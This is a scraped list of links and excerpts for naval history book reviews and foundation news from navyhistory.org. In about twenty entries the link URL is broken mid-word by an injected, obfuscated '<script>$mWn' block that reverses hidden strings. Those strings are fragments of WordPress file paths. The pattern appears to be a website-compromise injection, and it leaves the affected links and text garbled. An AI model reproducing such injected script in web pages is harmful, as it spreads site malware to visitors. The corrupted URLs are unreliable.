- [Fight Fight](https://navyhistory.org/2019/03/fight-fight/) - This is the third Raven One book the author has written on contemporary international relationship issues facing the United States. Central to the fictional story the author tells is how quickly incidents can spin out of control even with the best intentions by all to contain the incident. People hear and see what they want
- [Treaty Cruisers](https://navyhistory.org/2019/03/treaty-cruisers/) - This is a paperback edition of a book first published in 2005. The book has stood the test of time and is still the finest book covering the Washington Navy Treaty Cruisers. These cruisers, built during the 1920s and 1930s by the United States, Britain, France, Japan, Italy, and Germany, were the ships that fought
- [1941: Fighting the Shadow War](https://navyhistory.org/2019/03/1941-fighting-the-sha<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/regan/) - As someone interested for nearly seven decades on the Pearl Harbor attack, I am always interested in books that describe the social, political, and economic history of the 1930s and 1940s focusing on the United States and our soon-to-be Allies as well as the Axis powers. Hence, I elected to review Marc Wortman’s 1941: Fighting
- [Barons of the Sea](https://navyhistory.org/2019/02/barons-of-the-sea/) - If you, as a young adult, were fascinated with Howard I. Chapelle’s book The Search for Speed Under Sail, you will enjoy Barons of the Sea. The focus of this book is examining the lives of some of the robber barons who built their fortune operating clipper ships. The term “clipper ship” still has the
- [Seven at Santa Cruz](https://navyhistory.org/2019/01/seven-at-santa-cruz/) - This biography follows World War II fighter pilot ace Stanley “Swede” Vejtasa from his Montana home, through numerous World War II aerial battles, to his post war service as the Air Boss on USS Essex (CV-9) and Captain of USS Constellation (CV-64). Vejtasa was known for his exploits against the Japanese in 1942. During the
- [Silver State Dreadnought](https://navyhistory.org/2019/01/silver-state-dreadnought-the-remarkable-s<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap/) - The author is the president of Sandia National Laboratories in Albuquerque, New Mexico which may explain why his next to last chapter, discussing Operation Crossroads, may have been his finest for his overview of the detonation of two atomic bombs and their impact on the subject of this book – the USS Nevada. That Nevada
- [The 'Stan](https://navyhistory.org/2019/05/the-stan/) - The ‘Stan is a collection of 17-short comic book style stories told by Afghanis and Americans having firsthand knowledge of America’s longest war. Each short cartoon briefly describes an individual’s personal story of the events leading up to the conflict and their roles during the actual war. While illustrated in cartoon form, the stories in
- [Captain McCrea's War](https://navyhistory.org/2019/03/mccreas-war/) - Using his own phrase, John L. McCrea was a fly on the wall at the White House during the first months of the War in the Pacific when naval affairs dominated Franklin Roosevelt's interest. Working under Admiral Harold "Betty" Stark in the office of Chief of Naval Operations, McCrea had a front row seat as
- [The Millionaires' Unit](https://navyhistory.org/2019/03/the-millionaires-unit/) - The Millionaires’ Unit tells the story of several Yale undergraduates in the early 1900s whose foresight helped open the United States Navy up to the utility of aerial operations. American military aviation was woefully behind that of the European militaries when the US entered World War I. The Yale Unit was one of the critical
- [Ungentle Goodnights](https://navyhistory.org/2019/03/ungentle-goodnights/) - Christopher McKee's latest work is a beautifully drawn elegy of the sailors and Marines who were admitted to the "refuge on the Schuylkill" in the 19th century. When first opened it was in bucolic setting removed from Philadelphia, with all the best intentions for men who had given years to honorable naval service. But as
- [Lucky's Life](https://navyhistory.org/2019/03/luckys-life/) - Rear Admiral Randall Jacobs sent the telegram at 6:49 PM, 3 January 1944, informing Mr. and Mrs. Olaf Larson Hanks that their son William was missing “in the performance of his duties” in the Pacific. The Chief of Personnel expressed his “sincere sympathy” for their “great anxiety.” He told them, from the reports, that it
- [Grant](https://navyhistory.org/2019/02/grant/) - If you are expecting to deploy on a six to seven month cruise in the near future, Ron Chernow’s Grant would be a wonderful companion to pack in your seabag. Nearly 1,000 pages in length, the book will take some time to consume, however, the journey is well worth taking as the outcome is a
- [Securing the Narrow Sea](https://navyhistory.org/2019/01/securing-the-narrow-sea/) - In all of WWII, there are few greater contrasts than between the perfect organization and astounding creative engineering of the D-Day landings and of Germany’s “Operation Sea Lion”, its planned invasion of England – impromptu, cobbled-together, and in the end mostly bluff. “Mulberry” artificial harbors, cross-channel underwater fuel pipelines, concrete “Phoenix” floating caissons, swimming tanks,
- [The Gun Club: U.S.S. Duncan at Cape Esperance](https://navyhistory.org/2018/12/the-gun-club-u-s-s-duncan-at-cape-esperance/) - For two months after its shocking defeat at the Battle of Savo Island, the USN conceded control by night of the waters around Guadalcanal to the Japanese surface navy. But on October 11, 1942, Rear Adm. Norman Scott moved in his cruiser/destroyer force to challenge this control for the first time. Just before midnight, he
- [Progressives in Navy Blue](https://navyhistory.org/2018/11/progressives-in-navy-blue/) - Progressives in Navy Blue: Maritime Strategy, American Empire, and the Transformation of U.S. Naval Identity, 1873-1898 By Scott Mobley, Naval Institute Press, Annapolis, MD. (2017). Reviewed by CDR John T. Kuehn, USN (Ret.) This book is part of a series edited by historians Chris Bell and Jim Bradford published by the Naval Institute. It
- [New Interpretations in Naval History](https://navyhistory.org/2018/11/new-interpretations-in-naval-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/st/) - New Interpretations in Naval History: Selected Papers from the 18th McMullen Naval Symposium Edited by Lori Lyn Bogle and James C. Rentfrow, Naval War College, (2018). Reviewed by Stephen D. Regan, Ed.D. This collection of papers is a wonderful surprise. Usually scholarly historical symposium papers are pedantic, boring, poorly written treatises about obscure and
- [The Ghost Ship of Brooklyn](https://navyhistory.org/2018/11/the-ghost-ship-of-brooklyn/) - The Ghost Ship of Brooklyn: An Untold Story of the American Revolution By Robert P. Watson, Da Capo Press, (2017). Reviewed by Chief Warrant Officer Darien J. Garland, United States Marine Corps Under dark and gray skies, the HMS Jersey sits ominously off the coast of Brooklyn in the calm waters of Wallabout Bay.
- [US Flush-Deck Destroyers 1916-1945](https://navyhistory.org/2018/11/us-flush-deck-destroyers-1916-1945/) - US Flush-Deck Destroyers 1916-45: Caldwell, Wickes and Clemson Classes (New Vanguard #259) By Mark Lardas, illustrated by Johnny Shumate & Julian Baker, Osprey Publishing, Oxford, (2018). Reviewed by Jeffrey Schultz Mark Lardas’s US Flush-Deck Destroyers 1916-45 sheds light on the typically overlooked story of the WWI-era US Navy distinctive four funnel (or “four-piper”) destroyers.
- [Navy Greenshirt](https://navyhistory.org/2018/10/navy-greenshirt/) - Navy Greenshirt: A Leader Made, Not Born By Diane J. Diekman, Altruria Publishing Company, Clear Lake, South Dakota. (2001). Reviewed by Captain Lee Duckworth, USN (Ret.) Captain Diane J. Diekman’s Navy Greenshirt: A Leader Made, Not Born, is a short book that delivers a message well beyond the expectations of the typical military member’s
- [The Golden Age of Piracy](https://navyhistory.org/2018/12/the-golden-age-of-piracy/) - Long before Walt Disney invited guests at Disneyland to “sail with the wildest crew that ever sacked the Spanish Main,” piracy has been a topic that has fascinated people – with a rather odd juxtaposition. While no one would want to encounter a real pirate, the aura of the pirate has captured the imagination to
- [Liberty's War](https://navyhistory.org/2018/12/libertys-war/) - Many histories of World War II have given short shrift to the U.S. Merchant Marine, and Herman Melton's memoir Liberty’s War helps address this gap in history. The purpose of the book was to “recall the wartime experience of a youngster who served in four different Liberty ships.” Edited by his son, Melton’s book tells
- [Son of Virginia](https://navyhistory.org/2019/01/son-of-virginia/) - So why is the Naval Historical Foundation reviewing a major political figure's autobiography, first published in 2015, now available in paperback, but with no direct connection to the sea services? For this reviewer, it comes down to Doug Wilder's descriptions of personal character as honed especially by his mother and leadership forged on Old Baldy
- [Lee's Real Plan at Gettysburg](https://navyhistory.org/2019/01/lees-real-plan-at-gettysburg/) - It’s arguable that there is more written about the battle of Gettysburg than any other event in US military history. The events of 1-3 July 1863 are well-chronicled, well-dramatized. The dramatic exploits at Devil’s Den, on Little Round Top, and the grand charge of Maj. Gen. George Pickett’s division have all received comprehensive coverage, some
- [The Battleship Bismarck (Anatomy of The Ship)](https://navyhistory.org/2019/01/the-battleship-bismarck-ana<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/) - In May 1941, after having sunk the HMS Hood, one of Britain’s most advanced warships, in spectacular fashion, the mighty German battleship Bismarck was put to the bottom of the sea only five months after being launched. Robert Ballard's discovery of the wreck in 1989 triggered a surge of interest among the public, including the
- [Maritime Strategist Admiral Ace Lyons Remembered](https://navyhistory.org/2018/12/maritime-strategist-admiral-ace-lyons-remembered/) - By David F. Winkler, Ph.D. NHF Staff Historian The Naval Historical Foundation saddened with the news of the passing of one of its Life Members – Admiral James “Ace” Lyons who departed this world on December 12th.Asked to discuss his recently published Oceans Ventured, Winning the Cold War at Sea, (Norton, 2018) NHF Board Director
- [This is No Drill](https://navyhistory.org/2018/12/this-is-no-drill/) - One might wonder, as it has been over 75 years since the Japanese attack on Pearl Harbor, what new information could be presented on this event. The answer is quite a lot. All standard accounts of the Japanese attack on Pearl Harbor focus on the ships at Pearl Harbor and the Army Air Corps airfields
- [SECNAVs, Navy supporters honor WWII LCS sailors, President George H.W. Bush Bush at LCS Dinner](https://navyhistory.org/2018/12/wwii-lcs-sailors-legacy-honored-along-with-president-bush-at-lcs-dinner/) - https://www.youtube.com/watch?v=fixTvNajyto
- [Fall 2018 Pull Together Published](https://navyhistory.org/2018/11/fall-2018-pull-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-ste/) - The latest issue of Pull Together was just published. Pull Together Fall 2018
- [Gunboats on the Great Lakes](https://navyhistory.org/2018/10/gunboats-on-the-great-lakes/) - Gunboats on the Great Lakes 1866-68, The British Navy's show of force at the time of Confederation By Cheryl MacDonald, James Lorimer and Company, Toronto, (2017). Reviewed by John Grady Gunboats of the Great Lakes is a "what if" book; and the "if" is directly connected to the untimely death of the author, Cheryl
- [White Water, Red Hot Lead](https://navyhistory.org/2018/10/white-water-red-hot-lead-on-board-u-s-navy-swift-boats-in-vietnam/) - White Water Red Hot Lead: On Board U.S. Navy Swift Boats in Vietnam By Dan Daly, Casemate Publishers, Philadelphia, (2017) Reviewed by Diana L. Ahmad, Ph.D., Missouri University of Science and Technology Approximately 3,500 men served in the Swift Boat units during the Vietnam War over a period of six years. Dan Daly’s excellent
- [Learning War](https://navyhistory.org/2018/10/learning-war/) - Learning War: The Evolution of Fighting Doctrine in the U.S. Navy, 1898-1945 By Trent Hone, Naval Institute Press, Annapolis, MD, (2018) Reviewed by David F. Winkler, Ph.D. Admiral John Harvey always opened talks with naval audiences by stacking a small pile of recently published books on the podium and urging his listeners to acquire
- [Target America](https://navyhistory.org/2018/10/target-america/) - Target America - Hitler’s Plan to Attack the United States By James P. Duffy, The Lyons Press, Guilford, CT, (2012) Reviewed by Charles C. Kolb, Ph.D. Over the past quarter century, James P. Duffy has written nearly two dozen books, mostly about military history with the majority of these focusing on the European Theater
- [Graf Zeppelin: The Only German Aircraft Carrier](https://navyhistory.org/2018/10/graf-zeppelin-the-only-german-aircraft-carrier/) - Graf Zeppelin: The Only German Aircraft Carrier By Jürgen Prommersberger, CreateSpace Independent Publishing Platform, (2017) Reviewed by Robert P. Largess “Graf Zeppelin” is a name to conjure with. Most people know it as the name of the pioneering passenger dirigible which made 143 Atlantic crossings, most on commercial service. Less know of her successor,
- [Warship 2018](https://navyhistory.org/2018/10/warship-2018/) - Warship 2018 John Jordan, Ed., Osprey Publishing, Oxford, UK and New York, NY, (2018) Reviewed by Capt. Howard R. Portnoy USN (Ret.) The first hardcover volume in the Warship series appeared in 1977. It was the follow-on to a successful quarterly magazine with the same title. New volumes would be issued annually and would
- [The Unanswered Loss of USS <em>Cyclops</em> – March 1918](https://navyhistory.org/2013/06/unanswered-loss-uss-cyclops-march-1918/) - The mysterious loss at sea of USS Cyclops in 1918 has spawned a great deal of interest and research by those interested in postal history
- [Oceans Ventured: Winning the Cold War at Sea](https://navyhistory.org/2018/06/oceans-ventured-winning-the-cold-war-at-sea/) - Oceans Ventured: Winning the Cold War at Sea By John Lehman, W.W. Norton and Company, New York, NY, (2018) Previewed by David F. Winkler, Ph.D. NOTE: Having been asked to review Oceans Ventured for an academic journal later in the year where I will detail how this fits into the growing historiography of the
- [<em>USN Battleship vs. IJN Battleship: The Pacific 1942 -- 44</em>](https://navyhistory.org/2018/08/usn-battleship-vs-ijn-battleship-the-pacific-1942-44/) - USN Battleship vs IJN Battleship: The Pacific 1942-44 By Mark Stille Osprey Publishing, Oxford, UK (2017) Reviewed by Ed Calouro Mark Stille has succeeded in squeezing significant information into a limited number of pages. Stille is a retired USN commander and a graduate of and former faculty member at the Naval War College.
- [<em>Doomed Before the Start: The Allied Intervention in Norway 1940, vol. 2</em>](https://navyhistory.org/2018/08/<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnem/) - Doomed Before the Start: The Allied Intervention in Norway 1940 Volume 2 – Evacuation and Further Naval Operations By Niall Cherry, Helion & Company, Gliwice, Poland, (2017) Reviewed by Jeffrey Schultz The final volume in Niall Cherry’s Norway 1940 campaign study, this cautionary work continues from the Narvik evacuation until the final departures.
- [<em>Episode Eight -- From the Ashes</em>](https://navyhistory.org/2018/08/episode-eight-from-the-ashes/) - Episode Eight-From the Ashes There are several conclusions that one can reach as this well-conceived series concludes. Two are very important. First, it was truly the “Greatest Generation” that won a brutal war and made the world a better place in which to live. Second, and perhaps more closely
- [NHF Establishes ‘Teacher of Distinction’ Award for National History Day Teachers](https://navyhistory.org/2018/07/nhf-establishes-teacher-of-distinction-award-for-national-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.li/) - NHF Establishes ‘Teacher of Distinction’ Award for National History Day Teachers Inaugurating a new academic award, the Naval Historical Foundation (NHF) recognized 26 “Teachers of Distinction” in the 2018 National History Day (NHD) nationwide history competition for middle and high school students that concluded June 14 at the University of Maryland. The Foundation awards
- [<em>Churchill's Thin Grey Line: British Merchant Ships at War, 1939 - 1945</em>](https://navyhistory.org/2018/07/churchills-thin-grey-line-british-merchant-ships-at-war-1939-1945/) - Churchill’s Thin Grey Line: British Merchant Ships at War 1939 -1945 by Bernard Edwards 2018, Pen & Sword, Havertown, PA. 248 pp., $34.95. The United Kingdom has always considered its Merchant Marine to be part of its armed forces during wartime. Since time immortal, the White Ensign of the Royal Navy and the
- [<em>Episode Seven -- No Surrender</em>](https://navyhistory.org/2018/07/episode-seven-no-surrender/) - Episode Seven—No Surrender The series continues with more riveting footage of the Pacific war, some rare and never seen. The allies are closing in on Japan. Behind-the-scenes film and the voices of combat veterans leave the viewer feeling the fight. The Philippines are liberated, but the islands are in tatters. Rarely-seen home movies vividly demonstrate
- [<em>Episode 6 -- Fire from the Sky</em>](https://navyhistory.org/2018/07/episode-6-fire-from-the-sky/) - Episode Six-Fire from the Sky The viewer continues to enjoy never-broadcast color footage of the World War ll conflict in the Pacific area, even though the events in this episode have been detailed on TV many times before. In the central Pacific theater island-hopping continues, while in the south Pacific theater the battle for the
- [<em>Controlled Delivery: Covert Operations in the War on Drugs</em>](https://navyhistory.org/2018/07/controlled-delivery-covert-operations-in-the-war-on-drugs/) - Controlled Delivery: Covert Operations in the War on Drugs: Volume 1 & Volume 2, Nick Jacobellis, Senior Special Agent U.S. Customs Service (Ret.). 2018, www.badgepublishing.com. Volume 1, 328 pp. and Volume 2, 347 pp., $13.99 per volume. Within the pages of these two self-published volumes, the author provides a firsthand look at the interdiction by
- [<em>The Loss of USS Covington</em>](https://navyhistory.org/2018/07/the-loss-of-uss-coving<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/rega/) - THREE MCSORLEY MEN-THE LOSS OF USS NARCISSUS (January 1866) and the torpedoing of USS COVINGTON (July 1918) and USS MENGES (May 1944) BY: CAPTAIN LAWRENCE B. BRENNAN, U.S. NAVY (RETIRED) [i] “It was a pathetic sight. . . [reminiscent] of some huge animal, mortally wounded, yet struggling on.” Commander William F. Halsey, Jr. United States
- [<em>Steam Titans</em>](https://navyhistory.org/2018/07/steam-titans/) - Steam Titans: Cunard, Collins and the Epic Battle for Commerce on the North Atlantic. William M. Fowler, Jr., New York & London: Bloomsbury, 2017. 358 pp., Illus., biblio., Index., $30. Dr. William Fowler, professor of history emeritus at Northeastern University, is primarily a naval and maritime historian. He is the author of Rebels
- [<em>Our Little Monitor</em>](https://navyhistory.org/2018/07/our-little-moni<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-ste/) - Our Little Monitor: The Greatest Invention of the Civil War By Anna Gibson Holloway and Jonathan W. White, Kent State University Press, Kent, OH (2018). 304 pp., $33.86 History is filled with pivotal moments in time when the tried and true is no longer sufficient and innovation both wins the day and points
- [<em>Inspiring Innovation</em>](https://navyhistory.org/2018/07/inspiring-innovation/) - Inspiring Innovation by LCDR Robert Crosby, USN is the first in what is intended to be The John A. van Buren Studies in Leadership and Ethics published by the Naval War College Press. 209 pp., $30.00 “The John A. van Buren studies was established to advance scholarship and publish thought-provoking works of analysis in the
- [<em>The Shadow Tiger: Billy McDonald, Wingman to Chennault</em>](https://navyhistory.org/2018/07/the-sha<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/) - The Shadow Tiger: Billy McDonald, Wingman to Chennault. by William C. McDonald, III and Barbara L. Evenson Shadow Tiger Press, Birmingham, Alabama, 2016. 313 pp. Ill. $39.95 Special Hardback Edition, $24.95 Soft-Cover Edition. This new book is one of the most unusually conceived and designed books on any military aviation subject I have seen in
- [<Victory at Midway: The Battle That Changed the Course of World War II</em>](https://navyhistory.org/2018/06/19837/) - Victory at Midway: The Battle That Changed the Course of World War II by James M. D’Angelo. McFarland Press, Jefferson, NC, 2018. 198 pp., $35.00. This book is more than another account of the Battle of Midway. Yes, the author covers the story of the naval engagement between the Imperial Japanese Navy and the
- [<em>Episode 5 -- Striking Distance</em>](https://navyhistory.org/2018/07/episode-5-striking-distance/) - Episode Five-Striking Distance Each episode leaves the viewer wanting more. Episode Four left us looking forward to seeing more of some of the first broadcast color movies of the Pacific War. Episode Five does not disappoint. The voices from the past once again help us to feel the fight and the impact on their lives,
- [Pacific War in Color: Episode 1 -- An Ocean Apart](https://navyhistory.org/2018/07/pacific-war-in-color-episode-1-an-ocean-apart/) - The Smithsonian Channel has produced another outstanding historical presentation. The Pacific War in Color is a “must see” for those of us who are interested and involved in the naval history of World War ll in the Pacific Ocean theater. Consisting of never seen before rare color movies of both the home and professional variety,
- [Pacific War in Color: Episode 2 -- Shockwaves](https://navyhistory.org/2018/07/pacific-war-in-color-episode-2-shockwaves/) - Episode Two-Shockwaves The entire Pacific region is beginning to feel the effects of war. While significant battles lie ahead, the color footage shot by amateur and military photographers in this episode focuses primarily on activities taking place behind the battle lines and paints a portrait of military life to show there is more to war
- [Pacific War in Color: Episode 4 -- The Enemy Underground](https://navyhistory.org/2018/07/pacific-war-in-color-episode-4-the-enemy-underground/) - Episode Four-The Enemy Underground As Episode Four begins, it’s 1944 and the allies’ war effort is at full throttle. Better training, increased troop numbers and secure supply lines give the allies the upper hand over the Japanese. Historic color naval combat films are enhanced by the voices of the men that fought these battles. Departing
- [<em>World War II at Sea: A Global History</em>](https://navyhistory.org/2018/06/world-war-ii-at-sea-a-global-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/st/) - World War II at Sea: A Global History Craig L. Symonds New York: Oxford University Press, 2018 Reviewed by Kenneth J. Hagan The author of this monumental and unique book, Craig L. Symonds, a former colleague of mine, writes to fill what he sees as a massive gap in World War II historiography. He laments
- [<em>Soviet Destroyers of World War II</em>](https://navyhistory.org/2018/05/19803/) - Osprey’s Soviet Destroyers of World War II (New Vanguard #256) by Alexander Hill; illustrated by Felipe Rodriguez Reviewed by Jeff Schultz Alexander Hill’s Soviet Destroyers of World War II fills an important gap in the neglected story of the tragedy and triumph of Soviet naval operations in World War II. Hill’s background in Soviet
- [<em>Recipient of 2018 Beach Award Continues a Legacy</em>](https://navyhistory.org/2018/05/recipient-of-2018-beach-award-continues-a-legacy/) - Midshipman First Class Ryan Menke of Wichita, KS, receiving the NHF Captain Edward L. Beach, Jr. Naval/Military History Award from former NHF executive director Captain Todd Creekman (USNA Class of 1969) and U.S. Naval Institute's LCDR Tom Cutler (Gordon England Chair of Professional Naval Literature at
- [<em>NOTICE OF ANNUAL MEETING<em/>](https://navyhistory.org/2018/04/notice-of-annual-meeting/) - Invitation to the Naval Historical Foundation’s Annual Meeting Batter Up! WHO: Valued Members of NHF WHEN: Saturday, June 2nd, 2018 TIME: 11:30 a.m. Check in and lunch 12:00 p.m. to 1:30 p.m. Annual Meeting 1:30 Tour “Playball!” exhibit COST: $10 to cover
- [<em>NHF Exploring Membership UK Tour</em>](https://navyhistory.org/2018/05/nhf-exploring-membership-uk-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdi/) - NHF Exploring Membership UK Tour to include Royal Navy Museum and World War I Conference NHF is offering a unique opportunity for members to travel to Great Britain from November 5-10, 2018. Members will tour the National Museum of the Royal Navy in Portsmouth with its historic ships and participate in a landmark
- [<em>US Navy F-4 Phantom II Units of the Vietnam War 1969 - 1973</em>](https://navyhistory.org/2018/05/19720/) - Davies, Peter E. US Navy F-4 Phantom II Units of the Vietnam War 1969-1973. Osprey Publishing, UK. 2018. 96 pages. Ill. $23. Peter Davies has written many Osprey books, including quite a few dealing with the F-4 in Vietnam. This new book, no. 125 in Osprey’s Combat Aircraft series, continuing the story from No. 116
- [<em>VOUGHT SB2U Vindicator</em>](https://navyhistory.org/2018/05/vought-sb2u-vindica<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam/) - Ginter, Steve with Joe Weathers, Jr. Vought SB2U Vindicator. 2018. 249 pp. Ill. $52.95. Number 106 in the successful Naval Fighters series, this new book is one of a few dedicated to Vought’s dive-bomber that saw very little combat but flew under at least three colors—U.S., French and British. Perhaps best known for
- [NHF Sponsors a New Teacher Prize for National History Day](https://navyhistory.org/2018/05/nhf-sponsors-a-new-teacher-prize-for-national-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.t/) - The Naval Historical Foundation (NHF) is honoring teachers whose students were recognized for outstanding scholarship in U.S. naval and maritime history at the 2018 National History Day Contest for middle and high school students. NHF will present its newly established Naval Historical Foundation Teachers of Distinction Award to teachers in this year’s National Contest. The
- [<Voices of Maritime History Competition for the Superintendent's Annual Leadership and Vision Award, 2018<em/>](https://navyhistory.org/2018/04/19627/) - (L - R) Adm. Bill Fallon, Midn. William Moore (1st place), Midn. John Bantle (3rd place), Midn. Ike Heinemann (Hon. Men.), Dr. J. Phillip London, Vice Adm. Ted Carter (Superintendent, USNA), Midn. Anthony Iannacone (Hon. Men.), Midn. Kai Stormer (Hon. Men), Midn. Andrew Bilden (2nd place). In 2017, Dr. J. Phillip “Jack” London ’59,
- [<em>The Taking of K-129: How the CIA Used Howard Hughes to Steal a Russian Sub in the Most Daring Covert Operation in History<em/>](https://navyhistory.org/2018/04/the-taking-of-k-129-how-the-cia-used-howard-hughes-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php/) - The Taking of K-129: How the CIA Used Howard Hughes to Steal a Russian Sub in the Most Daring Covert Operation in History By Josh Dean, Dutton, New York, (2017). Review by Capt. William H. Johnson USN (Ret.) As of 2018, many of the details of Project AZORIAN -- the recovery of part of
- [<Crashback: The Power Clash Between the U.S. and China in the Pacific</em>](https://navyhistory.org/2018/04/19561/) - Crashback: The Power Clash Between the U.S. and China in the Pacific by Michael Fabey, Scribner (2017) Reviewed by Diana B. West Crashback was written for the benefit of journalists, business people, or anyone who wants to understand the recent military confrontations in the South China Sea and why they should be concerned about it.
- [<Ingram's Fourth Fleet: U.S. and Royal Navy Operations Against German Runners, Raiders, and Submarines in the South Atlantic in World War II</em>](https://navyhistory.org/2018/04/19557/) - Ingram’s Fourth Fleet: U.S. and Royal Navy Operations Against German Runners, Raiders, and Submarines in the South Atlantic in World War II By Cdr. David D. Bruhn, USN (Ret.). Heritage Books, Berwyn Heights, MD, (2017) Reviewed by Charles Bogart Commander Bruhn has crafted an excellent introductory book about an important but forgotten theater of
- [<em>American Naval History: A Very Short Introduction</em>](https://navyhistory.org/2018/03/american-naval-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-/) - American Naval History: A Very Short Introduction By Craig Symonds, Oxford University Press, UK (2018). Reviewed by Warrant Officer Darien J. Garland, USMC Craig L. Symonds delivers a fast-paced narrative covering the history of change and advancements in the United States Navy. American Naval History: A Very Short Introduction gives the reader a broad
- [<em>Squadron: Ending the African Slave Trade</em>](https://navyhistory.org/2018/03/squadron-ending-the-african-slave-trade/) - Squadron: Ending the African Slave Trade By John Broich, Overlook Dockworth, New York (2017). Reviewed by Diana L. Ahmad, Ph.D. When asked about the history of the slave trade, without hesitation most people will discuss slavery in the United States prior to 1865. Few will talk about the slave business in East Africa,
- [<The Armament Tide: Rearming America</em>](https://navyhistory.org/2018/03/19542/) - The Armament Tide: Rearming America By RADM Stuart Franklin Platt (Ret.), Granville Island Publishing, Vancouver, Canada, (2002). Reviewed by Jon S. Middaugh, Ph.D When published in 2002, The Armament Tide envisioned a Pentagon soon to be awash in the waves of procurement dollars that typically flow during times of war. Such large amounts
- [<em>Morning Star, Midnight Sun</em>](https://navyhistory.org/2018/04/morning-star-midnight-sun/) - Morning Star, Midnight Sun: The Early Guadalcanal Solomons Naval Campaign of World War II By Jeffrey R. Cox, Osprey Publishing, Oxford, UK, (2018). Reviewed by David F. Winkler, Ph.D. Morning Star, Midnight Sun represents the author’s second foray into the war in the Pacific. His Rising Sun, Falling Skies, The Disastrous Java Sea
- [<em>Destined for War: Can America and China Escape Thucydides's Trap?</em>](https://navyhistory.org/2018/04/19550/) - Destined for War: Can America and China Escape Thucydides's Trap? By Graham Allison Houghton Mifflin Harcourt, New York, NY, (2017) Reviewed by Randall Fortson Looking Back to Find a Way Forward Thucydides concluded that the underlying reason for war between Athens and Sparta, a war that neither side wanted, was the rise
- [BOOK REVIEW - <em> Neglected Skies: The Demise of British Naval Power in the Far East, 1922-42 </em>](https://navyhistory.org/2018/02/book-review-neglected-skies/) - Neglected Skies: The Demise of British Naval Power in the Far East, 1922-42 Angus Britts. Naval Institute Press, Annapolis, MD (2017). Reviewed by Joseph Moretz, Ph D Of the many years of fiscal stringency preceding the Second World War, Admiral Sir Herbert Richmond observed that a ‘two-ocean empire cannot be defended by a one-ocean
- [BOOK REVIEW - <em>Female Tars: Women Aboard Ship in the Age of Sail </em>](https://navyhistory.org/2018/02/book-review-female-tars-women-aboard-ship-in-the-age-of-sail/) - Female Tars: Women Aboard Ship in the Age of Sail By Suzanne J. Stark, Naval Institute Press Annapolis, Md. (2017). Reviewed by Joseph-James Ahern Female Tars: Women Aboard Ship in the Age of Sail is a reprint of the late Suzanne Stark’s 1996 study of women who went to sea aboard Royal Navy warships
- [BOOK REVIEW - <em>The Strategy of Victory: How George Washington Won the American Revolution</em>](https://navyhistory.org/2018/02/book-review-the-strategy-of-vic<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/ste/) - The Strategy of Victory: How George Washington Won the American Revolution By Thomas Fleming. Da Capo Press, New York. (2017). Reviewed by David Curtis Skaggs, PhD Few topics in American history have received more attention than the War for Independence and George Washington’s role in it. Into this crowded field Thomas Fleming (1927-2017) brings
- [<em>Crucible of a Generation: How the Attack on Pearl Harbor Transformed America</em>](https://navyhistory.org/2018/03/crucible-of-a-generation-how-the-attack-on-pearl-harbor-transformed-america/) - Crucible of a Generation: How the Attack on Pearl Harbor Transformed America. By J. Kenneth Brody, Routledge, New York, (2017). Reviewed by Charles C. Kolb, Ph.D., Independent Scholar “All I know is what I read in the papers.” Will Rogers (Brody 2017:vi). This is an often mentioned quote (with variations) cited by author
- [<em>British Destroyers 1939-45: Wartime-built Classes</em>](https://navyhistory.org/2018/03/british-destroyers-1939-45-wartime-built-classes/) - British Destroyers 1939-45: Wartime-built classes (New Vanguard #253) By Angus Konstam, Osprey, New York (2017). Reviewed by Jeffrey Schultz Angus Konstam, a naval historian and a prolific Osprey titles author, pens his second in the British destroyer series which follows up the earlier British Destroyers 1939-45: Pre-war Classes (New Vanguard #246). This work
